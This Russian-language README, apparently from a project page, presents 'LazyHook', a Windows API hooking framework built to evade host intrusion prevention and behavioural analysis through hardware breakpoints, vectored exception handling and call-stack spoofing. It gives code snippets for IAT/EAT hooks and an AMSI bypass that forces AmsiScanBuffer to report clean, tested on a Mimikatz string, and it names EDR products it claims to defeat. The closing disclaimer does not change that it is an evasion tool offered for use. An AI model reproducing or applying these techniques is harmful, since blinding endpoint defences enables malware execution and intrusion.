
Обход поведенческого анализа за счёт выполнения вредоносного кода в доверенных стеках вызовов Microsoft и беспатчевый перехват IAT/EAT библиотек.
LazyHook — это скрытный фреймворк для перехвата API, который обходит системы предотвращения вторжений на хост (HIPS) с помощью спуфинга стека вызовов. Используя аппаратные точки останова на уровне CPU и векторизованную обработку исключений, он выполняет произвольный код так, будто тот исходит из доверенных модулей, подписанных Microsoft, — полностью обманывая механизмы поведенческого анализа, которые полагаются на проверку стека вызовов и проверку происхождения модулей.
Обходите поведенческий анализ, выполняя вредоносный код в доверенных стеках вызовов Microsoft
Использует аппаратные точки останова + VEH для перехвата легитимных функций и подмены происхождения модулей
Системы предотвращения вторжений на хост (HIPS) и механизмы поведенческого анализа отслеживают приложения с помощью:
Такие системы, как Kaspersky System Watcher, Windows Defender, Cylance и CrowdStrike, используют различные вариации этих методов.
Перехватывая функцию в сборке, подписанной Microsoft (например, System.Windows.Forms.dll, user32.dll), мы можем выполнять произвольную логику в стеке вызовов, который выглядит полностью легитимным.
Примечание: можно сделать JmpHook, который перехватит MsgBox -> и сразу после вызова направит в ваш собственный код. LazyHook этого не делает
Почему это работает:
Защитное ПО видит второй сценарий и думает: «MessageBoxA из user32.dll вызывает Windows API? Это нормальное поведение.»
┌─────────────────────────────────────────────────────────┐
│ 1. Target Function Call │
│ ↓ │
│ 2. CPU Debug Register Triggers (DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP Raised │
│ ↓ │
│ 4. VEH Handler Intercepts Exception │
│ ↓ │
│ 5. Execution Redirected to Hook Function │
│ ↓ │
│ 6. CallOriginal() Temporarily Disables Breakpoint │
│ ↓ │
│ 7. Original Function Executes │
│ ↓ │
│ 8. Breakpoint Re-enabled │
└─────────────────────────────────────────────────────────┘
Перехватывает импортируемые функции, определяя их адрес в IAT и устанавливая аппаратную точку останова. Это перехватывает конкретный импорт в вашем процессе.
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
Глобально перехватывает экспортируемые функции DLL, определяя их адрес через таблицу экспорта. Это затрагивает все вызовы данного экспорта.
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
Включённая демонстрация показывает три практических сценария:
Демонстрирует IAT-перехват, перехватывая вызовы MessageBoxA и изменяя отображаемое сообщение:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
Показывает, как отслеживать файловые операции, логируя вызовы CreateFileA:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Демонстрирует обход защитного ПО, принудительно заставляя все проверки AMSI возвращать чистые результаты:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}
Демонстрация проверяет обход AMSI, сканируя "Invoke-Mimikatz" (известную вредоносную строку), и показывает, что она классифицируется как чистая.
DR7 Layout (Simplified):
- Bits 0,2,4,6: Enable flags for DR0-DR3 (Local Enable)
- Bits 16-31: Breakpoint conditions (Execute, Write, IO, R/W)
Фреймворк настраивает DR7, чтобы:
Обработчик VEH:
EXCEPTION_SINGLE_STEPEXCEPTION_CONTINUE_EXECUTION для возобновления выполнения с хукаtemplate<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}
Демонстрация показывает перехват AmsiScanBuffer для принудительного получения чистых результатов сканирования:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}
Это демонстрирует, как поведение защитного ПО можно изменять во время выполнения, перехватывая критически важные API-вызовы.
Перехватите CreateFileA, чтобы логировать доступ к файлам, не изменяя поведение приложения:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
Этот код демонстрирует продвинутые техники обхода для:
⚠️ Предупреждение: Несанкционированное использование для обхода средств контроля безопасности, изменения поведения ПО или обхода защитных механизмов может нарушать законы о компьютерных преступлениях (CFAA, GDPR, эквивалентное законодательство). Этот фреймворк предоставляется только для образовательных и авторизованных исследований в области безопасности.
Понимание атакующих техник создаёт лучшую защиту.